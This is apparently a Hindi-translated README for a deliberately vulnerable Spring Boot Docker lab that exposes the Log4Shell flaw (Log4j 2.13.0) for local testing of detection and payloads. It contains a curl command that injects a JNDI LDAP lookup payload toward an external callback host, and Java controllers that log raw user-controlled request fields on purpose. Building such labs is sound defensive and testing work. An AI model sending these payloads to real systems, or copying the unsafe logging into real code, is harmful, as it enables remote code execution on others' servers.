
Dockerized Spring Boot सेवा जानबूझकर Log4Shell (CVE-2021-44228) के लिए कमजोर है, जो स्थानीय वातावरण में डिटेक्शन टूल्स, पेलोड्स और एक्सप्लॉइट क्षमताओं के परीक्षण के लिए है।
यह एक गंदा हैक स्प्रिंग बूट हैलो वर्ल्ड प्रोजेक्ट है जो आपके टूलिंग/पेलोड/डिटेक्शन क्षमताओं का स्थानीय रूप से परीक्षण करने के लिए है, इससे पहले कि आप उनके साथ उत्पादन लक्ष्यों पर हमला करें।
कॉन्फ़िगर किया गया Log4j संस्करण 2.13.0 है।
bash build.sh
docker run -p 8080:8080 dwdi/log4shell
अगर आपके पास गैरेज में burp collaborator नहीं चल रहा है, तो आप इस साइट पर जा सकते हैं और समान अनुभव प्राप्त कर सकते हैं: https://interactsh.com
curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null
वैकल्पिक रूप से आप स्थानीय/बड़े पैमाने पर स्कैनिंग करने के लिए इस शानदार रेपो का उपयोग कर सकते हैं: https://github.com/adilsoybali/Log4j-RCE-Scanner
यह कमजोरी एक उपयोगकर्ता-नियंत्रित मूल्य को कमजोर लॉगिंग फ्रेमवर्क द्वारा लॉग करने के लिए मजबूर करने के बारे में है। इसे ध्यान में रखते हुए यह सरल डमी एप्लिकेशन दो HTTP (GET/PUT) वर्ब्स और कई इंजेक्शन स्थानों का समर्थन करता है:
@GetMapping("/")
public String index(HttpServletRequest request) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
return "Log4J2 is working!";
}
@PostMapping("/")
public String post(HttpServletRequest request, @RequestBody String body) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
logger.info("Request Body: " + body); // mind the extra request body
return "Log4J2 is working!";
}
योगदान / सुधार का स्वागत है।
कोड गुणवत्ता के लिए क्षमा करें :) यह प्रोजेक्ट दिखावा के लिए नहीं है बल्कि साझा करने/मदद करने के लिए है।